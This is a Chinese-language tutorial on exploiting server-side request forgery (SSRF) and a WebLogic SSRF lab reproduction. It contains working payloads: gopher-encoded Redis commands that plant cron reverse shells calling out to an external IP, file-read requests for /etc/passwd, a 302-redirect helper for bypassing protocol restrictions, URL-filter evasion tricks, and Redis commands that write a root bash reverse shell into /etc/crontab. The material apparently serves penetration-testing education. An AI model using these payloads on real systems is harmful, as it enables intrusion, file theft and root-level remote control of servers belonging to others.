漏洞简介
SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
漏洞利用
SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的绕过方式。
本地利用
拿常用的cURL举例,cURL默认支持的协议非常多。
1 2 3 4
| $ curl -V curl 7.47.1 (x86_64-apple-darwin15.3.0) libcurl/7.47.1 OpenSSL/1.0.2g zlib/1.2.8 Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
|
本地利用姿势
1 2 3 4 5 6 7 8 9
| # dict protocol (操作Redis) curl -vvv 'dict://127.0.0.1:6379/info'
# file protocol (任意文件读取) curl -vvv 'file:///etc/passwd'
# gopher protocol (一键反弹Bash) # * 注意: 链接使用单引号,避免$变量问题 curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
|
远程利用
漏洞代码ssrf.php(未做任何SSRF防御)
1 2 3 4 5 6 7 8 9 10
| function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); }
$url = $_GET['url']; curl($url);
|
远程利用方式
1 2 3 4 5 6 7 8
| # 利用file协议任意文件读取 curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
# 利用dict协议查看端口 curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher协议反弹shell curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
|
漏洞代码ssrf2.php
- 限制协议为HTTP、HTTPS
- 设置跳转重定向为True(默认不跳转)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True); // 限制为HTTPS、HTTP协议 curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); }
$url = $_GET['url']; curl($url); ?>
|
远程利用方式
当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL
那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。
我们继续构造一个302跳转服务,代码如下302.php:
1 2 3 4 5 6 7 8 9 10
| <?php $schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); } else { header("Location: $schema://$ip:$port/$query"); }
|
利用测试
1 2 3 4 5 6 7 8 9 10 11 12 13
| # dict protocol - 探测Redis dict://127.0.0.1:6379/info curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
# file protocol - 任意文件读取 curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
# gopher protocol - 一键反弹Bash # * 注意: gopher跳转的时候转义和`url`入参的方式有些区别 curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0 a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d %0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3 %0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
|
绕过姿势
1)http://www.baidu.com@10.10.10.10与http://10.10.10.10 请求是相同的
此脚本访问请求得到的内容都是10.10.10.10的内容。
该绕过同样在URL跳转绕过中适用。
http://www.wooyun.org/bugs/wooyun-2015-091690
2)ip地址转换成进制来访问
115.239.210.26 = 16373751032
3)添加端口可能绕过匹配正则
10.10.10.10:80 案例:
http://www.wooyun.org/bugs/wooyun-2014-061850
4)用短地址(302跳转)绕过,案例:
http://www.wooyun.org/bugs/wooyun-2010-0132243
http://www.wooyun.org/bugs/wooyun-2010-0135257
5)利用xip.io和xip.name
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1 10.0.0.1.xip.name resolves to 10.0.0.1
www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4
|
6)利用Enclosed alphanumerics
1 2 3 4
| 利用Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
7) 利用句号
Weblogic SSRF漏洞复现
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
漏洞分析
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp页面的数据包中的operator参数,这个参数可以发送任意的HTTP请求
利用姿势
探查服务端口
在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1 Host: http://127.0.0.1:7001 Content-Length: 133 Cache-Control: max-age=0 Origin: http://127.0.0.1:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://115.159.4.50:7001/uddiexplorer/SearchPublicRegistries.jsp Accept-Language: zh-CN,zh;q=0.8 Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=CZBhZtjHKR2mvqmnyBbVchhHvJ1KJ48lq4rq84pZnpFL2hkXrnhc!1235713544 Connection: close
operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=1&txtSearchkey=1&txtSearchfor=1&selfor=Business+location&btnSubmit=Search
|
返回以下信息,说明存在7001端口的服务器

访问一个不存在的IP,返回以下信息,返回 but could not connect over HTTP to server

访问一个非HTTP(dict)协议,返回以下信息,返回unknown protocol: dict

注入HTTP头,利用Redis反弹shell
通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通
返回
which did not have a valid SOAP content-type: null
说明存在redis服务

发送三条redis命令,将弹shell脚本写入/etc/crontab:
1 2 3 4
| set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
|
进行url编码:
1
| test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
|

反弹shell

最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
Reference
SSRF in PHP
SSRF to GET SHELL
利用 gopher 协议拓展攻击面
vulhub/weblogic/ssrf
腾讯某处SSRF漏洞(非常好的利用点)附利用脚本